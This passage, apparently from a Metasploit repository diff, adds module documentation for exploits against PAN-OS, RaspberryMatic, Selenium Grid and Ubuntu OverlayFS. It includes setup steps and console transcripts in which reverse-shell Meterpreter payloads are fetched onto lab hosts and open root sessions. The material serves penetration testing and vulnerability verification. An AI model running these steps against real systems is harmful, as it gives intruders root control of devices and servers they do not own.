||||
payloads `cmd/linux/http/x64/meterpreter_reverse_tcp`, `md/linux/http/x64/meterpreter/reverse_tcp`,
|
||||
and `cmd/unix/reverse_bash`.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. `use exploit/linux/http/panos_management_unauth_rce`
|
||||
3. `set RHOST <TARGET_IP_ADDRESS>`
|
||||
4. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp`
|
||||
5. `set LHOST eth0`
|
||||
5. `set LPORT 4444`
|
||||
6. `check`
|
||||
7. `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
### WRITABLE_DIR
|
||||
The full path of a writable directory on the target. By default it will be `/var/tmp`. The exploit will write the
|
||||
payload as a series of chunks to this location, before executing the payload. The written artifacts are then deleted.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Default
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/panos_management_unauth_rce) > show options
|
||||
|
||||
Module options (exploit/linux/http/panos_management_unauth_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.100 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
WRITABLE_DIR /var/tmp yes The full path of a writable directory on the target.
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME pHLZiKRnmfR no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Default
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/panos_management_unauth_rce) > check
|
||||
[+] 192.168.86.100:443 - The target is vulnerable.
|
||||
msf6 exploit(linux/http/panos_management_unauth_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Uploading payload chunk 1 of 7...
|
||||
[*] Uploading payload chunk 2 of 7...
|
||||
[*] Uploading payload chunk 3 of 7...
|
||||
[*] Uploading payload chunk 4 of 7...
|
||||
[*] Uploading payload chunk 5 of 7...
|
||||
[*] Uploading payload chunk 6 of 7...
|
||||
[*] Uploading payload chunk 7 of 7...
|
||||
[*] Amalgamating payload chunks...
|
||||
[*] Executing payload...
|
||||
[*] Sending stage (3045380 bytes) to 192.168.86.100
|
||||
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.100:54266) at 2024-11-21 16:35:38 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.86.100
|
||||
OS : Red Hat (Linux 4.18.0-240.1.1.28.pan.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,112 @@
|
||||
## Vulnerable Application
|
||||
RaspberryMatic / OCCU contains a unauthenticated remote code execution (RCE) vulnerability, caused by multiple issues within
|
||||
the Java based HMIPServer.jar component. The webui allows for Firmware uploads which can be reached through the URL
|
||||
`/pages/jpages/system/DeviceFirmware/addFirmware`.
|
||||
This allows an unauthenticated attacker to upload a malicious .tgz archive to the server, which will be automatically
|
||||
extracted without any further checks. As this entry can contain ../sequences, it is possible to break out of the predefined
|
||||
temp directory and write files to other locations outside this path.
|
||||
|
||||
This vulnerability is commonly known as the Zip Slip vulnerability and can be used to overwrite arbitrary files on the main
|
||||
filesystem. It is therefore possible to overwrite the watchdog script with a malicious payload in `/usr/local/addons/mediola/bin/`,
|
||||
which will be executed every five minutes through a cron job where attackers can gain remote code execution as root user,
|
||||
allowing a full system compromise.
|
||||
|
||||
RaspberryMatic versions <= `3.73.9.20240130` are vulnerable.
|
||||
|
||||
The following releases were tested.
|
||||
|
||||
**RaspberryMatic Releases:**
|
||||
* RaspberryMatic v3.73.9 (OVA image)
|
||||
* RaspberryMatic v3.65.8 (Raspberry Pi4 Model B image)
|
||||
|
||||
## Installation steps to install RaspberryMatic OVA image
|
||||
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
|
||||
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
|
||||
* Download [RaspberryMatic OVA](https://github.com/jens-maus/RaspberryMatic/releases/tag/3.73.9.20240130).
|
||||
* Install the OVA image in your virtualization engine.
|
||||
* When installed, configure the VM appliance to your needs using the menu options via the `webui`.
|
||||
* Boot up the VM and should be able to access the RaspberryMatic appliance via the `webui` via `http://your_ip/`.
|
||||
|
||||
You are now ready to test the module.
|
||||
|
||||
## Verification Steps
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/linux/http/raspberrymatic_unauth_rce_cve_2024_24578`
|
||||
- [ ] `set rhosts <ip-target>`
|
||||
- [ ] `set rport <port>`
|
||||
- [ ] `set lhost <attacker-ip>`
|
||||
- [ ] `set target <0=Unix/Linux Command>`
|
||||
- [ ] `exploit`
|
||||
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
|
||||
|
||||
## Options
|
||||
No specific options defined.
|
||||
|
||||
## Scenarios
|
||||
### RaspberryMatic OVA appliance - Unix/Linux Command x64 target
|
||||
```msf
|
||||
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set rhosts 192.168.201.6
|
||||
rhosts => 192.168.201.6
|
||||
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set FETCH_SRVHOST 192.168.201.8
|
||||
FETCH_SRVHOST => 192.168.201.8
|
||||
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set FETCH_WRITABLE_DIR /tmp
|
||||
FETCH_WRITABLE_DIR => /tmp
|
||||
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.6:443 can be exploited.
|
||||
[+] The target appears to be vulnerable. RaspberryMatic 3.73.9
|
||||
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[*] Uploading sT2s4fChKUZ.tgz
|
||||
[*] Waiting 5 minutes for watchdog execution via cron to trigger the RCE.
|
||||
[*] Sending stage (3045380 bytes) to 192.168.201.6
|
||||
[*] Restoring original watchdog script.
|
||||
[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.6:51220) at 2025-01-28 18:00:01 +0000
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.201.6
|
||||
OS : (Linux 6.1.74)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > pwd
|
||||
/root
|
||||
meterpreter >
|
||||
```
|
||||
### RaspberryMatic Pi4 Model B compute board - Unix/Linux Command aarch64 target
|
||||
```msf
|
||||
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set payload cmd/linux/http/aarch64/meterpreter_reverse_tcp
|
||||
payload => cmd/linux/http/aarch64/meterpreter_reverse_tcp
|
||||
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set rhosts 192.168.201.10
|
||||
rhosts => 192.168.201.10
|
||||
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.10:443 can be exploited.
|
||||
[+] The target appears to be vulnerable. RaspberryMatic 3.65.8
|
||||
[*] Executing Unix/Linux Command for cmd/linux/http/aarch64/meterpreter_reverse_tcp
|
||||
[*] Uploading 8emVtVt6U.tgz
|
||||
[*] Waiting 5 minutes for watchdog execution via cron to trigger the RCE.
|
||||
[*] Restoring original watchdog script.
|
||||
[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.10:40324) at 2025-02-03 17:40:01 +0000
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.201.10
|
||||
OS : (Linux 5.15.56)
|
||||
Architecture : aarch64
|
||||
BuildTuple : aarch64-linux-musl
|
||||
Meterpreter : aarch64/linux
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > pwd
|
||||
/root
|
||||
meterpreter >
|
||||
```
|
||||
## Limitations
|
||||
You have to wait maximum five minutes for a session to allow `cron` to run the malicious watchdog script
|
||||
containing the payload. Just be patient and wait for the magic to happen ;-)
|
||||
Another limitation is that the root filesystem on RaspberyMatic image is mounted read-only, so you need to set the
|
||||
option `FETCH_WRITABLE_DIR` to `/tmp` (this is mounted RW) otherwise the exploit will fail.
|
||||
@@ -0,0 +1,112 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Selenium Server (Grid) before 4.0.0-alpha-7 allows CSRF because it permits non-JSON content types
|
||||
such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* Selenium Server (Grid) before 4.0.0-alpha-7
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* selenium/standalone-chrome:3.141.59 installed with Docker on Ubuntu 24.04
|
||||
* selenium/standalone-chrome:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
1. `docker pull selenium/standalone-chrome:3.141.59`
|
||||
|
||||
2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-chrome:3.141.59`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108`
|
||||
4. Do: `run lhost=<lhost> rhost=<rhost>`
|
||||
5. You should get a meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
## Scenarios
|
||||
### selenium/standalone-chrome:3.141.59 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 > use exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
|
||||
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > options
|
||||
|
||||
Module options (exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 4444 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE true yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME OmbNmrIU no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4444
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable.
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:40990) at 2024-12-30 13:33:31 +0900
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.17.0.5
|
||||
OS : Ubuntu 20.04 (Linux 6.8.0-51-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### selenium/standalone-chrome:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected.
|
||||
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:34888) at 2024-12-30 13:34:30 +0900
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.17.0.6
|
||||
OS : Ubuntu 18.04 (Linux 6.8.0-51-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
+167
@@ -0,0 +1,167 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing)
|
||||
allows CSRF because it permits non-JSON content types
|
||||
such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.
|
||||
At least, the number of sessions must be fewer than maxSessions for the exploit to succeed.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing)
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
|
||||
* selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
|
||||
* selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04
|
||||
* selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
1. `docker pull selenium/standalone-firefox:3.141.59`
|
||||
|
||||
2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-firefox:3.141.59`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108`
|
||||
4. Do: `run lhost=<lhost> rhost=<rhost>`
|
||||
5. You should get a meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
### TIMEOUT (required)
|
||||
|
||||
This is the amount of time (in seconds) that the module will wait for the payload to be
|
||||
executed. Defaults to 75 seconds.
|
||||
|
||||
|
||||
## Scenarios
|
||||
### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 > use exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
|
||||
msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > options
|
||||
|
||||
Module options (exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 4444 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TIMEOUT 75 yes Timeout for exploit (seconds)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE true yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME NnnZmAGfjJoa no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4445
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable.
|
||||
[*] Started session (3191e005-977b-40c9-8c70-7e2f4ef4f922).
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:43182) at 2025-01-04 10:01:09 +0900
|
||||
[*] Failed to delete the session (3191e005-977b-40c9-8c70-7e2f4ef4f922). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.17.0.2
|
||||
OS : Ubuntu 20.04 (Linux 6.8.0-51-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4446
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
|
||||
[*] Started session (dc849fa9-0b61-4862-8766-21f1cb47c827).
|
||||
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:54410) at 2025-01-04 10:03:37 +0900
|
||||
[*] Failed to delete the session (dc849fa9-0b61-4862-8766-21f1cb47c827). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.17.0.3
|
||||
OS : Ubuntu 18.04 (Linux 6.8.0-51-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
|
||||
[*] Started session (af8d64bc-cdf6-4a03-8706-e90bddbee1c2).
|
||||
[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.16:40680) at 2025-01-04 10:05:44 +0900
|
||||
[*] Failed to delete the session (af8d64bc-cdf6-4a03-8706-e90bddbee1c2). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.17.0.4
|
||||
OS : Ubuntu 20.04 (Linux 6.8.0-51-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4448
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
|
||||
[*] Started session (1657b5ac-c514-431f-8c83-761c14012869).
|
||||
[*] Meterpreter session 4 opened (192.168.56.1:4444 -> 192.168.56.16:44868) at 2025-01-04 10:10:38 +0900
|
||||
[*] Failed to delete the session (1657b5ac-c514-431f-8c83-761c14012869). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.17.0.5
|
||||
OS : Ubuntu 24.04 (Linux 6.8.0-51-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,157 @@
|
||||
## Description
|
||||
|
||||
CVE-2023-2640 and CVE-2023-32629 are vulnerabilities that allow for the arbitrary setting of
|
||||
capabilities while overlaying filesystems. On most Linux Kernels during the execution of
|
||||
`ovl_do_setxattr` an intermediate function `vfs_setxatrr` converts file capabilities in a
|
||||
way that limits them to the current namespace. However, on some versions of the Ubuntu kernel
|
||||
`_vfs_setxattr_noperm` is called directly without calling `vfs_setxattr`.
|
||||
|
||||
When a new namespace is created the user will technically be "root" within that given
|
||||
namespace. This module will take advantage of this by setting the `CAP_SETUID` capability
|
||||
on a system binary. It will then perform filesystem overlay, copying the binary into the lower
|
||||
directory. Because of the flaws described above when the binary is transferred into the upper
|
||||
directory its capabilities will not be sanitized and persist in the "normal" namespace.
|
||||
|
||||
## Vunerable Application
|
||||
|
||||
These vulnerabilities are somewhat unique in that they effect a wide variety of Ubuntu releases
|
||||
and kernel versions, as described in the list below.
|
||||
|
||||
Ubuntu 23.04 (Lunar Lobster)m kernel 6.2.0, (CVE-2023-2640 & CVE-2023-32629)
|
||||
|
||||
Ubuntu 22.10 (Kinetic Kudu), kernel -> 5.19.0, (CVE-2023-2640 & CVE-2023-32629)
|
||||
|
||||
Ubuntu 22.04 LTS (Jammy Jellyfish), kernel -> 5.19.0, (CVE-2023-2640 & CVE-2023-32629)
|
||||
|
||||
Ubuntu 22.04 LTS (Jammy Jellyfish), kernel -> 6.2.0, (CVE-2023-2640 & CVE-2023-32629)
|
||||
|
||||
Ubuntu 20.04 LTS (Focal Fossa), kernel -> 5.4.0, (CVE-2023-32629)
|
||||
|
||||
Ubuntu 18.04 LTS (Bionic Beaver), kernel -> 5.4.0, (CVE-2023-32629)
|
||||
|
||||
The user can download a vulnerable version, for example:
|
||||
|
||||
```
|
||||
sudo apt update
|
||||
sudo apt install -y linux-image-5.19.0-41-generic linux-headers-5.19.0-41-generic
|
||||
reboot
|
||||
```
|
||||
While testing, @bwatters7 mentioned taking the system offline as this appears to be patched automatically.
|
||||
Be sure to take the system offline to prevent the vulnerabilities from silently being patched.
|
||||
|
||||
This module has successfully been tested on the following:
|
||||
|
||||
Ubuntu 22.04 LTS (Jammy Jellyfish) 5.19.0-41-generic
|
||||
|
||||
Ubuntu 20.04 LTS (Focal Fossa) 5.4.0-1018-aws
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1). Start `msfconsole`
|
||||
|
||||
2). Get a session on a vulnerable system
|
||||
|
||||
3). Use `exploit/linux/local/gameoverlay_privesc`
|
||||
|
||||
4). Optional: choose target for payload, either linux binary (0) or [li|u]nix command (1)
|
||||
`set target 1`
|
||||
|
||||
5). Set session `set session [SESSION]`
|
||||
|
||||
5). Do. `run`
|
||||
|
||||
6). You should get a new session running as root.
|
||||
|
||||
## Options
|
||||
|
||||
### Payload File Name
|
||||
Name of the file storing the payload, default is random.
|
||||
|
||||
### Writable Dir
|
||||
The name of a directory with write permissions, default is `/tmp`. This will be where the
|
||||
payload file will be created if necessary. Additionally during the exploit a series of directories will be
|
||||
created here to perform the filesystem overlaying.
|
||||
|
||||
## Scenarios
|
||||
|
||||
You have a non-root session on one of the systems described above. Please note that this
|
||||
module will automatically run checks to determine if the system is vulnerable, you can disable
|
||||
this with `set AutoCheck False`.
|
||||
|
||||
```
|
||||
msf6 exploit(linux/local/gameoverlay_privesc) >
|
||||
[*] Sending stage (3045380 bytes) to 10.5.132.129
|
||||
[*] Meterpreter session 3 opened (10.5.135.201:4585 -> 10.5.132.129:33504) at 2024-12-18 14:02:15 -0600
|
||||
|
||||
msf6 exploit(linux/local/gameoverlay_privesc) > set session 3
|
||||
session => 3
|
||||
msf6 exploit(linux/local/gameoverlay_privesc) > show options
|
||||
|
||||
Module options (exploit/linux/local/gameoverlay_privesc):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PayloadFileName pSueaCXrnzH yes Name of payload
|
||||
SESSION 3 yes The session to run this module on
|
||||
WritableDir /tmp yes A directory where we can write files
|
||||
|
||||
|
||||
Payload options (linux/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux_Binary
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/local/gameoverlay_privesc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.5.135.201:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Detected Ubuntu version: Jammy Jellyfish
|
||||
[*] Detected kernel version: 5.19.0-41-generic
|
||||
[+] The target is vulnerable. Jammy Jellyfish with 5.19.0-41-generic kernel is vunerable
|
||||
[*] Creating directory to store payload: /tmp/ODBpneOXk/
|
||||
[*] Creating directory /tmp/ODBpneOXk/
|
||||
[*] /tmp/ODBpneOXk/ created
|
||||
[*] Creating directory /tmp/ODBpneOXk/
|
||||
[*] Creating directory /tmp/ODBpneOXk/
|
||||
[*] /tmp/ODBpneOXk/ created
|
||||
[*] Creating directory /tmp/ODBpneOXk/bmbtPAX/
|
||||
[*] Creating directory /tmp/ODBpneOXk/bmbtPAX/
|
||||
[*] /tmp/ODBpneOXk/bmbtPAX/ created
|
||||
[*] Creating directory /tmp/ODBpneOXk/JtNbwLXJKw/
|
||||
[*] Creating directory /tmp/ODBpneOXk/JtNbwLXJKw/
|
||||
[*] /tmp/ODBpneOXk/JtNbwLXJKw/ created
|
||||
[*] Creating directory /tmp/ODBpneOXk/hEhbByWL/
|
||||
[*] Creating directory /tmp/ODBpneOXk/hEhbByWL/
|
||||
[*] /tmp/ODBpneOXk/hEhbByWL/ created
|
||||
[*] Creating directory /tmp/ODBpneOXk/yvvSFre/
|
||||
[*] Creating directory /tmp/ODBpneOXk/yvvSFre/
|
||||
[*] /tmp/ODBpneOXk/yvvSFre/ created
|
||||
[*] Writing payload: /tmp/ODBpneOXk/pSueaCXrnzH
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 10.5.132.129
|
||||
[*] rm: cannot remove '/tmp/ODBpneOXk/yvvSFre/': Device or resource busy
|
||||
[*] Meterpreter session 4 opened (10.5.135.201:4444 -> 10.5.132.129:44400) at 2024-12-18 14:02:42 -0600
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 10.5.132.129
|
||||
OS : Ubuntu 22.04 (Linux 5.19.0-41-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
|
